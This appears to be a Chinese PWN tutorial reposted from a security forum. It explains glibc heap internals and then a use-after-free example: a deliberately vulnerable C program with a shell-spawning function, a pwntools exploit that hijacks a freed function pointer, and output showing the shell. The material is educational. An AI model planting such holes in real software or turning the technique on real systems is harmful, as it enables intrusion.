PWN入门:GLibC堆请UAF

admin 2025年4月1日23:23:16评论2 views字数 17034阅读56分46秒阅读模式

01.

堆与内存

在使用使用内存大致有两种常见且合规的方式,一是使用局部变量,操作局部变量一般是对栈进行操作,除非局部变量被static关键字修饰(此时位于全局变量区),栈空间是由编译器控制的,在编译时栈空间就会确定下来,二是使用堆,堆内存相比栈内存有一个好处,就是堆是动态申请的,不向栈内存那样死板。

至于内存地址的增长方向是向上还是向下,对于AMD64架构来讲,栈是向下增长的,堆是向上增长的,不过这个增长方向并不重要,理论上来讲向上和向下没有什么太大的分别。

堆的内存布局

在了解堆的细节之前,我们需要先了解GLibC下堆内存的布局情况。

堆域 - arena

在GLibC中,统计堆内存信息的元素叫做arena,它由struct malloc_state结构体描述。

一般来讲线程间的arena都是相互独立的,每个线程独占一个arena,主线程的arena被称作是main_arena,它是GLibC定义的全局变量,子线程的arena被称作是non_main_arena

但在二般情况下,就可能不再是一个线程对应一个arena了,这是因为系统是有CPU核数限制的,当线程数量超过CPU核数时,就必然会有线程处于等待状态,这个时候让每个线程都独占一个arena是奢侈的。

GLibC对arena的控制是NARENAS_FROM_NCORES宏完成的,它根据系统位数和CPU核数决定arena的上限。

#define NARENAS_FROM_NCORES(n) ((n) * (sizeof (long) == 4 ? 2 : 8))

通过malloc_stateattached_threads成员,可以确定arena被多少线程使用(没有则为0),当内存被释放后,对应的arena并不会移出链表,而是将attached_threads递减1。

(gdb) p main_arena
$1 = {
mutex = 0, flags = 0, have_fastchunks = 0,
fastbinsY = {
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x0, last_remainder = 0x0, bins = { 0x0 ... },
binmap = { 0, 0, 0, 0 }, next = 0x7ffff7f9cc60 <main_arena>,
next_free = 0x0, attached_threads = 1, system_mem = 0,
max_system_mem = 0
}

struct malloc_state中存在着一个名为next的成员,它会指向其余的arena,链表中的最后一个arena的next成员会重新指向main_arena

system_mem成员记录了系统在当前区域已分配的内存,而max_system_mem成员则记录了系统在当前区域最大分配过的内存。

| main_arena | -> next -> | non_main_arena1 | ... -> next -> | main_arena |

mutex成员用于避免多线程间使用同个arena冲突的情况,flags记录了arena的属性信息,fastbinsY保存着fast chunk链表,bins保存着其余类型chunk的链表,top记录了top chunk的地址,last_remainder记录了chunk分割后剩余部分的地址,最后是binmap,它记录了bins中是否包含空闲chunk。

堆块 - chunk

malloc申请到的内存区域被称作是chunk,chunk分成头信息和数据信息两个部分,chunk头信息由struct malloc_chunk结构体描述。

mchunk_prev_size记录了低地址临近且空闲chunk的大小,mchunk_size代表自身的大小,fd指向下一个空闲chunk,bk指向上一个空闲chunk,fd_nextsize指向上一个与自身大小不一致的chunk,bk_nextsize指向下一个与自身大小不一致的chunk。

p *(struct malloc_chunk*)0x4059f0
$16 = {
mchunk_prev_size = 0, mchunk_size = 132625, fd = 0x0,
bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}

mchunk_size要求是MALLOC_ALIGNMENT的倍数,而且mchunk_size的第三个比特位是保留的,用于指示chunk的属性信息,每个比特位各代表一类信息。

#define PREV_INUSE 0x1是否被分配
#define IS_MMAPPED 0x2是否由mmap分配
#define NON_MAIN_ARENA0x4是否属于主线程

位于最高处的chunk被称作是top chunktop chunk下方是其余的chunk,位于最底部地址的chunk,可以通过计算公式top + mchunk_size - system_mem得到。

mchunk_size需要去除低比特位的标志位后才可以得到正确的大小,如果mchunk_size的大小为0,那么就说明该chunk没有被使用。

| top chunk      | (struct malloc chunk*) top             |
| ...... | |
| data 2 | addr 4 = addr 3 + sizeof(mallo_chunk) |
| malloc chunk 2 | addr 3 = addr 2 + mchunk_size |
| data 1 | addr 2 = addr 1 + sizeof(mallo_chunk) |
| malloc chunk 1 | addr 1 |
^ |
| top + top->mchunk_size - arena->system_mem |

在GLibC的定义中,64位系统下的chunk最小值是32(因为fd_nextsize前面有四个指针类型的成员,所以offsetof得到的偏移值是4 * 8)。

#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))

chunk除了有最小值的要求外,还有对齐的要求,一般来讲,GLibC要求跟16对齐。

#define MALLOC_ALIGNMENT 16
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

堆箱 - bin

被释放的chunk并不会马上将内存归还给内核,GLibC的堆管理器ptmalloc会继续管理着空闲chunk,当申请内存的请求再次被提交时,ptmalloc会从空闲chunk中挑选一个合适的chunk,把它交给程序使用。

ptmalloc会根据chunk大小进行分类,同类型的chunk会放入箱子bin内收纳,bin可以分成fast binsmall binlarge binunsorted bin四大类。

struct malloc_state
mfastbinptr fastbinsY[NFASTBINS]
mchunkptr bins[NBINS * 2 - 2]
unsigned int binmap[BINMAPSIZE]

bin的信息由记录堆状态的malloc_state结构体进行维护。

fast bin放在malloc_statefastbinsY内,其余类型的bin放在bins内。

fast bin

fast bin用于存放比global_max_fast小的chunk,global_max_fast的大小一般都会是128,设计fast bin的初衷,就是快速的对小内存进行分配和释放。

#define set_max_fast(s)
global_max_fast = (((size_t) (s) <= MALLOC_ALIGN_MASK - SIZE_SZ)
? MIN_CHUNK_SIZE / 2 : ((s + SIZE_SZ) & ~MALLOC_ALIGN_MASK))

(gdb) p global_max_fast
$38 = 128

fastbinsYmalloc_state中被定义成了一个数组,数组的容量是NFASTBINS,它的值一般都是10。

struct malloc_state
mfastbinptr fastbinsY[NFASTBINS]

fastbinsY中存储的NFASTBINSfast bin链表,链表根据chunk的大小进行区分,链表对应chunk的大小越小,该链表在数组中的排名越靠前。好处就是,fastbinsY数组中的元素对应的fast bin大小是固定的,免去了按大小进行排序的需求。

GLibC中提供了一个名为fastbin_index的宏,它会接收chunk的大小,然后将它右移4位后再减去2,右移四位可以消除对齐MALLOC_ALIGNMENT(值一般为16)的影响,减2可以消除最小值MIN_CHUNK_SIZE的影响,从而得到chunk大小在数组中的索引值。

(gdb) p sizeof(size_t)
$39 = 8

#define INTERNAL_SIZE_T size_t
#define SIZE_SZ (sizeof (INTERNAL_SIZE_T))
#define fastbin_index(sz)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)

通过fastbin_indexfast bin两个宏,快速定位到fastbinsY数组中的链表。

idx = fastbin_index (nb)
mfastbinptr *fb = &fastbin (av, idx)

#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])

程序申请的内存大小肯定不可能是刚好和MALLOC_ALIGNMENT对齐的,GlibC贴心的提供了宏csize2tidx,用于获取申请内存在fastbinsY中对应的下标找到空闲的chunk。

# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)

fast bin之所以孤立其他的bin,是因为它需要具备一些特殊的属性。fast chunk的chunk信息中的mchunk_size不止记录了chunk的大小,低比特位还记录了chunk的属性,对于fast chunk来讲,比特位PREV_INUSE永远为1,保证fast chunk不会被合并。

fast chunk在一般情况下不会被合并,但在二般情况下就不好说了(碎片化的内存数量过多),fast chunk不容易被合并的特点,保障了它能被快速的释放和取出使用。

fast bin还有一个特点,就是它采用LIFO后进先出的策略。尽管CPU和内存的通信速度已经很快了,但相当于CPU自身的运行速度还是太慢了,所以CPU一般都会设置CPU缓存,CPU缓存的容量有限,不会像内存那样大,但是CPU和CPU缓存间的通信速度是相当快的,假如CPU经常使用的内存数据都位于CPU缓存上,那么CPU的执行效率就会大大提高,LIFO可以帮助我们达到这一目的。

一般来讲,越晚使用的内存数据留存在CPU缓存上几率越大,使用LIFO管理fast bin正是利用了这一点,提高CPU缓存命中率,保障fast bin能被快速的释放和取出使用。

fast bin只使用struct malloc_state中的fd成员,当chunk被释放进入链表时,会先取出fast bin链表指针FB,然后让空闲chunk的fd指向FB,最后更新链表指针为当前空闲chunk,经过这番操作后,链表最后的元素就是最近释放的chunk,之前的fast bin可以被fd成员索引,由于fast bin链表只使用了fd,所以该链表是单向的。

从空闲的fast bin链表中取出chunk时,当然就是进行反向操作,先拿出最晚入列的chunk,最后将fast bin链表更新为fd指向的后续链表信息。

enter -> P->fd = *FB; *FB = P;
leave -> P = *FB; *FB = P->fd;

上面的操作只是一个假想,在实际情况中p并不是缓冲区变量对应的malloc_chunk地址,而是缓冲区变量地址-0x10,这样做的好处就是链表中存放的直接就是缓冲区变量地址,不需要根据malloc_chunk进行进一步索引。

__libc_free
-> mem -> free bufferr address
-> example -> free(0x465060) -> mem = 0x465060
-> p = mem2chunk (mem) -> p = mem - 0x10
-> _int_free (ar_ptr, p, 0);
-> p->fd = PROTECT_PTR (&p->fd, old);
-> *fb = p;
_int_malloc
-> victim = *fb;
-> *fb = REVEAL_PTR (victim->fd);
-> void *p = chunk2mem (victim);
-> return p;

如果arena中拥有空闲的fast chunk,那么在arena对应的struct malloc_state,不止会发现fastbinsY存在不为NULL的元素,也会发现malloc_state->have_fastchunks成员的数值也不是0。

在实际情况中,如果对fastbinsY数组中链表上的地址进行观察,会发现实际地址会有一定量的偏移,这个偏移值是宏PROTECT_PTR产生的,它只保证链表中最后一个空闲chunk的地址是原始且正确的,其余的地址都会经过PROTECT_PTR完成地址随机化。

#define PROTECT_PTR(pos, ptr) 
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

commands
>p main_arena->fastbinsY
>p buf_pool[i]
>end

$112 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x4059b0, 0x0, 0x0, 0x0, 0x0}
$113 = 0x405a30 "main"
$114 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x405a20, 0x0, 0x0, 0x0, 0x0}
$115 = 0x405a30 "265]@"
$120 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x405a90, 0x0, 0x0, 0x0, 0x0}
$121 = 0x405aa0 "%^@"

p /x *(struct malloc_chunk*)(0x405a20)
$117 = {mchunk_prev_size = 0x0, mchunk_size = 0x71, fd = 0x405db5, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}
p /x *(struct malloc_chunk*)(0x405a90)
$122 = {mchunk_prev_size = 0x0, mchunk_size = 0x71, fd = 0x405e25, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0}

| correct fd | current fd | offset (0x405xxx >> 12 = 0x405) |
| 0x4059b0 | 0x405db5 | 0x405 |
| 0x405a20 | 0x405e25 | 0x405 |

small bin和large bin

small binlarge bin的特殊之处在于,它们的大小并不固定,small bin的最大值是1024,而large bin的最小值则是1024。

#define NSMALLBINS64
#define SMALLBIN_WIDTHMALLOC_ALIGNMENT
#define SMALLBIN_CORRECTION(MALLOC_ALIGNMENT > CHUNK_HDR_SZ)
#define MIN_LARGE_SIZE((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)

GLibC中的in_smallbin_range宏可以判断出程序申请的内存应该划入small bin里面,还是划入large bin里面,in_smallbin_range宏的判断依据是MIN_LARGE_SIZE宏的数值大小。

#define in_smallbin_range(sz)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define bin_index(sz)
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))

上面展示的宏中有一个名为SMALLBIN_CORRECTION的宏,该宏出现在MIN_LARGE_SIZE宏以及smallbin_index宏中并影响着它们,至于SMALLBIN_CORRECTION宏在不在其他宏中起实际作用,取决于MALLOC_ALIGNMENT是否大于CHUNK_HDR_SZ

GLibC会接收程序申请的内存大小,然后根据改申请的大小判断它在bins数组中的下标,其中small bin通过smallbin_index获取下标,large bin通过largebin_index_64获取下标。

#define smallbin_index(sz) (((unsigned) (sz)) >> 4) + SMALLBIN_CORRECTION
#define largebin_index_64(sz)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :
......)
#define largebin_index(sz) largebin_index_64

结构体struct malloc_state中的bins[NBINS * 2 - 2]数组元素的数量是比较奇怪的,按照道理来讲,一个NBINS就足够了,为什么要NBINS * 2 - 2呢?

首先内存有最小值的限制MALLOC_ALIGNMENT,所以sz >> 4永远都不会是0,所以bins数组元素的数量就变成了NBINS - 1,又因为bins数组中的链表都是双向双向链表,存储着fdbk两个成员,所以bins数组就扩成了2*(NBINS - 1)

由于奇怪的bins数组,所以GLibC提供bin_at接口索引数组,但不幸的是,bin_at接口的索引方式更加奇怪。

首先bins[(i-1)*2]中的(i-1)*2指的是bins数组中第ifdbk成员。

#define bin_at(m, i)
(mbinptr) (((char *) &((m)->bins[((i) - 1) * 2])) - offsetof (struct malloc_chunk, fd))

找到第i对元素后会取出元素在数组中的内存地址,最后再减去fd的偏移值,这是一个很奇怪但又不奇怪的操作。

bins数组存放数据的角度中,数组中的每个元素放置的都是由stuct malloc_chunk描述的空闲chunk信息。

但在bins数组的设计角度来看,每bins[i * 2]bins[i * 2 - 1]构成了第i对空闲chunk链表,bin_at用于检索空闲chunk链表,而不是某个空闲chunk。

*--------bins----------*    *--------------new struct---------------*
| ... | chunk_$i | ... | -> | fd_$(i-1) | bk_$(i-1) | fd_$i | bk_$i |
*--------bins----------* *--------------new struct---------------*

addr = bin_at(M, i)
addr->fd = fd_i
addr->bk = bk_i

空闲chunk进入链表时,会先从bins中取出第i - 1对空闲chunk链表,bck->fd可以获取第i对空闲chunk链表中(*(bck + offsetof(fd))),然后会更新victimbkfd,其中bkbckfd为第i对链表,最后将第i对链表的fdbck->fd)更新成victim,以及fwd->bk更新成victim

空闲chunk离开链表时,会先检查链表中是不是只有一个元素,如果不是就会开始移除空闲chunk,它会先更新第idx对链表头的bkbk对应victim->bk,再更新bckfd为第idx - 1对链表,最后返回被移除链表的victim指针。

#define last(b)      ((b)->bk)
#define chunk2mem(p) ((void*)((char*)(p) + CHUNK_HDR_SZ))
enter ->
bck = bin_at (av, victim_index);// bck = &(bins[(i-2)*2])
fwd = bck->fd;// fwd = bins[(i-1)*2] = fd_i
victim->bk = bck;// set new chunk bk to default link
victim->fd = fwd;// let new chunk link to old chunk
fwd->bk = victim;// let old chunk link to new chunk
bck->fd = victim;// update fwd to new chunk
leave ->
bin = bin_at (av, idx);// bin = &(bins[(i-2)*2])
if ((victim = last (bin)) != bin) {// victim = bins[(i-1)*2 + 1] = bk_i
bck = victim->bk;// get current bk_i linked chunk_a
bin->bk = bck;// update current bk_i to chunk_a
bck->fd = bin;// update current fd_i to default
void *p = chunk2mem (victim);
}

bins数组中的fdbk它们的分工并不相同,fd指向的永远是最晚入链的空闲chunk,而bk则会指向最早入链的空闲chunk,出链时都是让bk指向的空闲chunk出去,显然这是一种FIFO的管理方式,它与LIFO不同,越先进入队列的数据也会越先出列。

(i-1) / next <-----------|
| fd_i | bk_i | |
| | |
| ---------------|------------|
|--> victim -> bk --| |
^ -> fd -------------| |
| | |
|--< bk <- old chunk <--| |
(i-1) / prev <-- fd <- ^ |
|---------|

当arena完成初始化后,你可能会发现bins数组中不管是哪对链表,其fdbk指向的都是第i-1对链表,这是因为arena初始化时,bins数组会被挨个初始化。

bins数组可以看作由两大部分组成,一是按照大小区分的链表,二是链表中fdbk组成的双向链表,而通过bin_at接口可以直接对特定链表中的fdbk进行管理。

for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
bin->fd = bin->bk = bin;
}

unsorted bin

上面提到过,因为chunk需要跟MALLOC_ALIGNMENT对齐,所以bins[0]bins[1]会空出来,这个空出来的bin_at[1]并不会闲置,而是会给unsorted bin使用。

不过unsorted bin又是个什么东西呢?

unsorted bin可以看作是一个缓冲区,空闲chunk进入small binlarge bin之前会先进入unsorted bin链表中,分配内存时(small_bin范围内),如果其余类型的链表中找不到空闲chunk,那就会进入bin_at[1]中查找,bin_at[1]中如果存在合适的chunk就会把它提供给申请者。

if (in_smallbin_range (nb))
......
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))

这么做主要是为了增强局部性,申请者有更大的机会使用到仍位于CPU缓存上的内存地址。

空闲chunk的重新赋值

chunk被释放变成空闲chunk时,其内存中存放的还是原来的数据吗?

答案当然不是,准确来讲是未必是。

之所以将未必是,是因为空闲chunk被赋新值需要在特定的场景下才会被激活。

第一种情况是看chunk会不会进入tcache bins中(),tcache是GLibC推出的一种提高堆管理性能的机制,在GLibC的tcache机制被启用的情况下,被释放的chunk会优先进入tcache bins中。

如果chunk进入tcache bins,那么会通过tcache_put接口完成进入操作,该函数会将e->next对应的chunk地址放入tcache->entries中,离开时,GLibC会通过tcache_get接口取出chunk,tcache_put存放e->next之前,e->next中保存的数据会变成tcache->entries[tc_idx]中的原数值(头插法),如果GLibC的版本比较新,那么新数值还会被PROTECT_PTR随机化。

第二种情况是看chunk属不属于fastbin,如果属于fastbin,那么向链表插入新chunk时,数据也会被更新成上一个链表头的地址。

_int_free
-> tcache_put
-> e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx])
-> tcache->entries[tc_idx] = e
-> if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()))
-> p->fd = PROTECT_PTR (&p->fd, old);

(gdb) x /s buf
0x555d5892ead0: "test"
tcache_put (chunk=0x555d5892eac0, tc_idx=9)
(gdb) p /x *(tcache_entry*)(0x555d5892eac0+0x10)
$1 = {next = 0x55580d47630e, key = 0x1962346efba31014}

子线程堆的复杂情况

对于主线程的arena来讲,不断的申请堆内存会导致arena中的top不断向上扩展。首先当申请的内存大小nd加上最小值仍在top chunk的范围内时,GLibC会从top chunk中取出内存交给主程序,如果发现申请内存大小ndMINSIZE超出top chunk的范围,就会通过sysmalloc扩展top chunk

victim = av->top;
size = chunksize (victim);
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
remainder = chunk_at_offset (victim, nb);
av->top = remainder;

sysmalloc会通过brk扩充内存,并更新arena中的system_mem,完成内存空间的扩充后,sysmalloc会更新top,并将返回top中的可用内存地址给主程序使用。

_int_malloc
......
else
{
void *p = sysmalloc (nb, av);
if (p != NULL)
alloc_perturb (p, bytes);
return p;
}

sysmalloc
-> av->system_mem += size;
-> p = av->top;
-> av->top = remainder;

上面是主线程的arena针对堆内存申请时的扩展操作,子线程是不是也一样呢?

尽管主线程的arena和子线程的arena都通过struct malloc_state描述,但是它们之间的差别还是挺大的。

首先主线程的arena和子线程的arena有一个非常明显的差别,它就是分配出来的内存地址形式,main arena的地址是跟主程序地址相似的,而non main arena的地址则是跟动态库的地址相似。

00401000-00402000 r-xp 00001000 08:08 7471258   ${program_path}
00405000-0042e000 rw-p 00000000 00:00 0 [heap]
7ffff0000000-7ffff00b9000 rw-p 00000000 00:00 0

其次就是non main arena对待申请堆内存的态度并不与main arena一致。

在分配内存的数量不够多不够大时,仍会在top chunk中获取可用的内存区域,但是当申请的堆内存足够多时,non main arena就会分成多个子堆,子堆之间通过heap_info结构体进行管理。

ar_ptr记录着子堆所属的arena地址,prev记录着上一个子堆的heap_info地址(单向链表,主子堆的heap_info地址是起始位置,结束位置的prev数值为0),size记录当前内存的大小,mprotect_size记录这被PROT_READ|PROT_WRITE标志保护的内存大小,pagesize代表当前内存页大小,至于pad,它是为了结构体大小和0x10或0x8对齐才存在的,没有什么特别含义。

non main_arena address -> 0x7fffe0000030
non main_arena top address ->
(gdb) p /x ((struct malloc_state *)(0x7fffe0000030))->top
$6 = 0x7ffe7a986020
heap_info address ->
(gdb) p /x (0x7ffe7a986020 & ~(0x4000000 - 1))
$3 = 0x7ffe78000000
heap_info ->
(gdb) p /x *(heap_info*)0x7ffe78000000
$4 = {ar_ptr = 0x7fffe0000030, prev = 0x7ffe80000000, size = 0x2987000, mprotect_size = 0x2987000, pagesize = 0x1000, pad = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}}

知道有heap_info结构体这么个东西后,又要面临一个问题,heap_info结构体的地址是怎么产生的呢?arena根据什么信息可以获取子堆呢?

首先non main arenaheap_info地址是根据arena的top地址产生的,GLibC会在top地址的下方选择heap_info地址,并要求heap_info地址与HEAP_MAX_SIZE对其,由此可以得到heap_info地址的计算公式为top & ~(HEAP_MAX_SIZE - 1)

GLibC提供heap_for_ptr接口,快速找到arena对应的heap_info地址。

至于其他的子堆,则需要通过主子堆heap_info中的prev成员进行遍历。

heap_for_ptr
-> max_size = heap_max_size(); = HEAP_MAX_SIZE = 0x4000000
-> return PTR_ALIGN_DOWN (ptr, max_size);

heap_info的上方(heap_info_addr + sizeof(heap_info))就是数据区。

| top chunk                   |
| data | | data |
| sub heap - heap_info | -> | sub heap | -> ......
| arena - struct malloc_state |

_int_malloc分配内存时,发现top chunk空间不够用时,会进入sysmalloc函数的内部,该函数会根据arena地址进行判断,主线程arena是一个待遇,即通过brk机制扩展可用内存区域,子线程arena则是另一种处理方法。

sysmalloc
if (av != &main_arena)
......
else
......

sysmalloc对子线程的子堆主要有两种处理方法。

第一种情况是发现申请内存大小nd超出当前top chunk的大小,那么就会先对内存区域进行扩展,sysmalloc会先拿到arnea对应的heap_info地址,然后进入grow_heap函数的内部,只要新申请的内存没有超过HEAP_MAX_SIZE的限制,子堆的内存上限就会被扩大,程序会继续使用子堆的内存区域。

如果子堆的内存不够用了,那么就会通过new_heap创建新的子堆,non main arena指向的永远都是最新创建的heap_info(创建新子堆时会更新prev)。

sysmalloc
-> old_top = av->top;
-> old_size = chunksize (old_top);
-> if (av != &main_arena)
-> old_heap = heap_for_ptr (old_top);
-> max_size = heap_max_size() = HEAP_MAX_SIZE = 0x4000000
-> return PTR_ALIGN_DOWN (ptr, max_size)
-> old_heap_size = old_heap->size;
-> if ((long) (MINSIZE + nb - old_size) > 0 && grow_heap (old_heap, MINSIZE + nb - old_size) == 0)
-> av->system_mem += old_heap->size - old_heap_size;
-> else if ((heap = new_heap (nb + (MINSIZE + sizeof (*heap)), mp_.top_pad)))
-> heap->prev = old_heap;
-> ......
new_heap
-> alloc_new_heap

堆内存的利用困境

在栈溢出中,我们已经知道了,由于栈上会存放调用者的栈底地址rbp、被调用函数的局部变量以及被调用函数的返回地址三大关键信息,使得栈溢出发生时,我们有了控制数据和程序执行流程的能力。

存放在栈上的数据中,返回地址能被控制是重中之重,它诞生了各种类ROP攻击。

但是堆内存中,存放应该都只是仅供读写的数据啊,一般来讲,没有什么类似于返回地址这样可以控制程序执行流程的数据,而且不只是被用于读写,还会被取出放到当前程序指针寄存器rip上,所以堆溢出似乎很难直接的控制程序的执行流程。

那么堆内存是如何被利用的呢?

UAF的诞生

比起堆溢出,程序对于堆的处理还存在一个逻辑上偏差,这个偏差是相对于GLibC的。

之前了解PIE时,我们就知道了一个事情,在没有mmap_min_addr保护的情况下,空指针也是可以被正常使用,但由于空指针一般都被视为错误的,操作空指针应该要带来崩溃,显然向空指针写入数据是存在安全风险的,因此Linux添加了mmap_min_addr保护空指针,只要操作小于mmap_min_addr的内存地址就会发生崩溃。

上面的例子中,存在着一个事实,虚拟内存地址只要是属于程序的就可以被操纵。

我们不难得出一个结论,GLibC假释放堆内存,将空闲chunk纳入自己的管理范围时,虚拟内存也是没有真正脱离主程序的,所以主程序仍然可以对空闲chunk进行操作。

在预期情况下,占用堆的缓冲区变量完成释放后,它应该被赋值成空指针。

但是如果被释放的内存没有赋值成空指针呢?

UAF

不难知道,释放后仍保留原内存地址的缓冲区变量,还是可以继续向内存写入数据的,这种方式也被称作是Use After Free

但是它会如何被利用呢?

信息泄露

首先如果被释放的缓冲区变量还指向原内存地址,那么会发生下面几种情况。

◆chunk存入fastbintcache bins内,内存数据变更成旧链表头的地址,地址可能被随机化。

◆chunk存入其余类型的bin内,内存数据保留原值,不会被重新赋值。

当内存数据变成可用地址时,且地址没有被随机化,那么被释放的缓冲区变量就存在泄露内存地址的风险,如果地址被随机化,那么即使地址泄露也不会造成太大的风险。

信息写入的影响

现在我们抛出这样的一个问题,假如被释放的缓冲区变量A没有赋值成空指针,而且缓冲区变量A在后面的代码中,还被类似read的函数写入了数据,那么会发生什么呢?

答案是比较简单直接的,缓冲区变量被写入了新的数据。

在非预期情况下被写入数据,难免会导致一些意外情况发生,对于PWN来讲,意外情况可以分成两种。

◆首先是错误的使用已释放缓冲区变量中的数据,最严重的情况,比如将数据当中函数指针进行调用。

◆其次,从上面的描述中,我们可以看到堆的管理远比栈的管理复杂的多,GLibC定义了种种结构体描述堆信息,通过异常方式写入的数据,有没有可能影响这些属性信息呢,如果堆属性信息被控制,那么有能不能对程序进行进一步的控制呢?

02.

示例讲解

下面是一段示例程序,在示例程序中,存在两处UAF漏洞,第一处是free(buf)后,继续打印buf中的数据,第二处是free(tmp)后,继续向tmp中写入数据,并且后面还会将tmp看作是函数指针进行调用。

#define BUF_SIZE0x30

typedef void (*fp)(void);

static void gift_give(void)
{
system("/bin/sh");
}

static void vuln(void)
{
ssize_t len;
char* buf;
fp* tmp;

buf = (char*)malloc(sizeof(char) * BUF_SIZE);
strncpy(buf, "test", BUF_SIZE - 1);
printf("data = [%s]n", buf);
free(buf);

printf("hello [%s]n", buf);

tmp = (fp*)malloc(sizeof(char) * BUF_SIZE);
free(tmp);

read(STDIN_FILENO, tmp, BUF_SIZE - 1);
printf("tmp info: [%s]n", tmp);

if (tmp) {
(*tmp)();
}
}

int main(void)
{
vuln();
}

由于buf分配的内存大小是0x30,这个大小是小于0x80的,所以它属于fastbin,释放后buf中会存放旧fastbin链表头的内存地址,当然由于当前GLibC的版本较高,所以该内存地址会被随机化,很难根据地址获取有用的信息。

最后就是致命的缓冲区变量tmp,由于被释放后不仅没有置零,且程序中存在一个名为gift_give的函数,它可以调用Shell,所以向该已释放变量写入gift_give函数地址后,程序会调用此函数。

exploit构造

通过上面的分析构造出下面的exploit。

import pwn
import sys

sys.path.append('../../MyTools')
import conversion

pwn.context.clear()
pwn.context.update(
arch = 'amd64', os = 'linux',
)

target_info = {
'exec_path': './uaf_example',
'exec_info': None,
'gift_addr': 0x0,
}

target_info['exec_info'] = pwn.ELF(target_info['exec_path'])
target_info['gift_addr'] = target_info['exec_info'].symbols['gift_give']

conn = pwn.process(target_info['exec_path'])

conn.recvuntil(b'hello ')
leak_info = conn.recvuntil(b'n')
print('[++] receive: leak address = {0}'.format(hex(conversion.bytes2int(leak_info[1:-2]))))

payload = pwn.p64(target_info['gift_addr'])
conn.send(payload)
leak_info = conn.recvuntil(b'n')
print('[++] receive: new data = {0}'.format(hex(conversion.bytes2int(leak_info[11:-2]))))

conn.interactive()

成功PWN

运行exploit后成功拿到Shell。

 python ./exploit.py 
[*] './uaf_example'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
[+] Starting local process './uaf_example': pid 25182
[**] bytes: b'xcax93x03'
[**] hex: 0x393ca
[++] receive: leak address = 0x393ca
[**] bytes: b'x96x13@'
[**] hex: 0x401396
[++] receive: new data = 0x401396
[*] Switching to interactive mode
$ whoami
astaroth

PWN入门:GLibC堆请UAF

看雪ID:福建炒饭乡会

https://bbs.kanxue.com/user-home-1000123.htm

*本文为看雪论坛优秀文章,由 福建炒饭乡会 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):PWN入门:GLibC堆请UAF

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月1日23:23:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PWN入门:GLibC堆请UAFhttps://cn-sec.com/archives/3905442.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息